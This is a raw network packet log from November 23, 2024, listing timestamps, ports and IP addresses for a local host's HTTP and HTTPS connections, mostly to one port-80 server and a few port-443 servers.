Nov 23, 2024 05:02:51.379051924 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:51.379283905 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:51.379730940 CET	443	49877	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:51.379904032 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:51.379959106 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:51.379978895 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:51.380048990 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:51.380338907 CET	49877	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:51.380358934 CET	443	49877	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:51.380819082 CET	49877	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:51.380824089 CET	443	49877	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:51.380897045 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:51.380930901 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:51.380995035 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:51.381828070 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:51.381894112 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:51.381962061 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:51.382014990 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:51.382791042 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:51.382852077 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:51.382906914 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:51.383009911 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:51.383733034 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:51.383850098 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:51.383874893 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:51.383908033 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:51.384773970 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:51.384809017 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:51.384819984 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:51.385018110 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:51.385629892 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:51.385696888 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:51.385763884 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:51.385812044 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:51.386585951 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:51.386652946 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:51.415730000 CET	443	49879	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:51.416241884 CET	49879	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:51.416260004 CET	443	49879	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:51.416910887 CET	49879	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:51.416915894 CET	443	49879	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:51.437014103 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:51.475375891 CET	443	49878	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:51.475855112 CET	49878	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:51.475924969 CET	443	49878	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:51.476349115 CET	49878	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:51.476363897 CET	443	49878	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:51.506711006 CET	443	49883	172.64.41.3	192.168.2.6
Nov 23, 2024 05:02:51.506947994 CET	49883	443	192.168.2.6	172.64.41.3
Nov 23, 2024 05:02:51.506958961 CET	443	49883	172.64.41.3	192.168.2.6
Nov 23, 2024 05:02:51.507455111 CET	443	49881	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:51.507930040 CET	49881	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:51.507956982 CET	443	49881	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:51.508380890 CET	49881	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:51.508385897 CET	443	49881	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:51.508584976 CET	443	49883	172.64.41.3	192.168.2.6
Nov 23, 2024 05:02:51.509361982 CET	49883	443	192.168.2.6	172.64.41.3
Nov 23, 2024 05:02:51.509768009 CET	443	49883	172.64.41.3	192.168.2.6
Nov 23, 2024 05:02:51.544564009 CET	443	49884	172.64.41.3	192.168.2.6
Nov 23, 2024 05:02:51.545309067 CET	49884	443	192.168.2.6	172.64.41.3
Nov 23, 2024 05:02:51.545336962 CET	443	49884	172.64.41.3	192.168.2.6
Nov 23, 2024 05:02:51.546366930 CET	443	49884	172.64.41.3	192.168.2.6
Nov 23, 2024 05:02:51.546418905 CET	49884	443	192.168.2.6	172.64.41.3
Nov 23, 2024 05:02:51.546755075 CET	49884	443	192.168.2.6	172.64.41.3
Nov 23, 2024 05:02:51.546818972 CET	443	49884	172.64.41.3	192.168.2.6
Nov 23, 2024 05:02:51.553461075 CET	49883	443	192.168.2.6	172.64.41.3
Nov 23, 2024 05:02:51.556502104 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:51.558037043 CET	443	49880	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:51.558979988 CET	49880	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:51.559025049 CET	443	49880	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:51.559427023 CET	49880	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:51.559438944 CET	443	49880	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:51.592160940 CET	49884	443	192.168.2.6	172.64.41.3
Nov 23, 2024 05:02:51.592178106 CET	443	49884	172.64.41.3	192.168.2.6
Nov 23, 2024 05:02:51.637245893 CET	49884	443	192.168.2.6	172.64.41.3
Nov 23, 2024 05:02:51.824336052 CET	443	49877	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:51.824436903 CET	443	49877	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:51.824624062 CET	49877	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:51.826520920 CET	49877	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:51.826520920 CET	49877	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:51.826543093 CET	443	49877	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:51.826553106 CET	443	49877	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:51.829366922 CET	49893	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:51.829391956 CET	443	49893	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:51.829477072 CET	49893	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:51.829641104 CET	49893	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:51.829651117 CET	443	49893	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:51.850641012 CET	443	49879	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:51.850697041 CET	443	49879	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:51.850775957 CET	49879	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:51.850857019 CET	49879	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:51.850864887 CET	443	49879	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:51.850879908 CET	49879	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:51.850883961 CET	443	49879	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:51.853040934 CET	49894	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:51.853085041 CET	443	49894	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:51.853234053 CET	49894	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:51.853372097 CET	49894	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:51.853390932 CET	443	49894	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:51.883183956 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:51.883270025 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:51.883378029 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:51.883621931 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:51.883639097 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:51.883691072 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:51.883738041 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:51.884053946 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:51.884605885 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:51.884670019 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:51.884787083 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:51.884839058 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:51.885548115 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:51.885611057 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:51.885633945 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:51.885691881 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:51.886493921 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:51.886559963 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:51.886610031 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:51.886862993 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:51.887447119 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:51.887530088 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:51.887578011 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:51.887753963 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:51.888418913 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:51.888482094 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:51.888566971 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:51.888633966 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:51.889378071 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:51.889514923 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:51.889575005 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:51.890312910 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:51.890383959 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:51.890430927 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:51.890525103 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:51.891340971 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:51.891396046 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:51.891417027 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:51.891443014 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:51.892218113 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:51.892281055 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:51.892349958 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:51.892415047 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:51.893208027 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:51.893337011 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:51.893357992 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:51.893412113 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:51.894145012 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:51.894220114 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:51.894253016 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:51.894337893 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:51.895139933 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:51.895175934 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:51.895199060 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:51.895235062 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:51.896033049 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:51.896095037 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:51.896156073 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:51.896222115 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:51.897015095 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:51.897073030 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:51.897087097 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:51.897119045 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:51.897943020 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:51.898005962 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:51.898078918 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:51.898144007 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:51.898900986 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:51.898964882 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:51.899039984 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:51.899091959 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:51.899852037 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:51.899908066 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:51.899970055 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:51.900051117 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:51.900825024 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:51.900892973 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:51.900933981 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:51.900988102 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:51.901776075 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:51.901839972 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:51.902064085 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:51.902194023 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:51.902721882 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:51.902796984 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:51.902834892 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:51.903179884 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:51.903682947 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:51.903742075 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:51.903795958 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:51.903850079 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:51.904627085 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:51.904687881 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:51.904813051 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:51.904875994 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:51.905567884 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:51.905627966 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:51.905700922 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:51.905769110 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:51.906552076 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:51.906613111 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:51.906709909 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:51.906769991 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:51.907542944 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:51.907605886 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:51.907638073 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:51.907712936 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:51.908413887 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:51.908513069 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:51.908580065 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:51.908627987 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:51.909466028 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:51.909502029 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:51.909533024 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:51.909636974 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:51.910365105 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:51.910427094 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:51.910497904 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:51.910552979 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:51.911334038 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:51.911395073 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:51.911482096 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:51.911604881 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:51.912261963 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:51.912314892 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:51.912386894 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:51.912477970 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:51.913219929 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:51.913283110 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:51.913325071 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:51.913392067 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:51.914144039 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:51.914200068 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:51.914253950 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:51.914323092 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:51.915220022 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:51.915256977 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:51.915297031 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:51.915354967 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:51.916165113 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:51.916229010 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:51.916233063 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:51.916379929 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:51.917017937 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:51.917182922 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:51.917244911 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:51.917974949 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:51.918095112 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:51.918169975 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:51.918888092 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:51.918950081 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:51.918967009 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:51.918991089 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:51.919076920 CET	443	49878	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:51.919131041 CET	443	49878	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:51.919373035 CET	49878	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:51.919464111 CET	49878	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:51.919485092 CET	443	49878	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:51.919558048 CET	49878	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:51.919565916 CET	443	49878	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:51.919846058 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:51.919899940 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:51.919948101 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:51.920049906 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:51.920840979 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:51.920936108 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:51.921013117 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:51.921798944 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:51.921814919 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:51.921880960 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:51.922413111 CET	49895	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:51.922447920 CET	443	49895	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:51.922557116 CET	49895	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:51.922739029 CET	49895	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:51.922750950 CET	443	49895	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:51.922764063 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:51.922827005 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:51.922849894 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:51.922950983 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:51.923660994 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:51.923779964 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:51.923840046 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:51.924634933 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:51.924725056 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:51.924812078 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:51.924880028 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:51.925590038 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:51.925646067 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:51.925687075 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:51.925750017 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:51.926542997 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:51.926654100 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:51.926712990 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:51.927452087 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:51.927583933 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:51.927589893 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:51.927733898 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:51.928457022 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:51.928472042 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:51.928514957 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:51.929411888 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:51.929445028 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:51.929522038 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:51.930377960 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:51.930481911 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:51.930490017 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:51.930593967 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:51.931302071 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:51.931396008 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:51.931406021 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:51.931462049 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:51.932254076 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:51.932307005 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:51.932356119 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:51.932461977 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:51.933168888 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:51.933248997 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:51.941656113 CET	443	49881	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:51.941713095 CET	443	49881	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:51.941783905 CET	49881	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:51.941929102 CET	49881	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:51.941946983 CET	443	49881	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:51.941956043 CET	49881	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:51.941961050 CET	443	49881	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:51.944334984 CET	49896	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:51.944405079 CET	443	49896	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:51.944716930 CET	49896	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:51.944716930 CET	49896	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:51.944785118 CET	443	49896	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:52.028661013 CET	443	49880	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:52.028842926 CET	443	49880	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:52.034063101 CET	49880	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:52.035739899 CET	49880	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:52.035739899 CET	49880	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:52.035767078 CET	443	49880	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:52.035790920 CET	443	49880	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:52.038297892 CET	49897	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:52.038348913 CET	443	49897	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:52.038561106 CET	49897	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:52.038690090 CET	49897	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:52.038700104 CET	443	49897	13.107.246.63	192.168.2.6
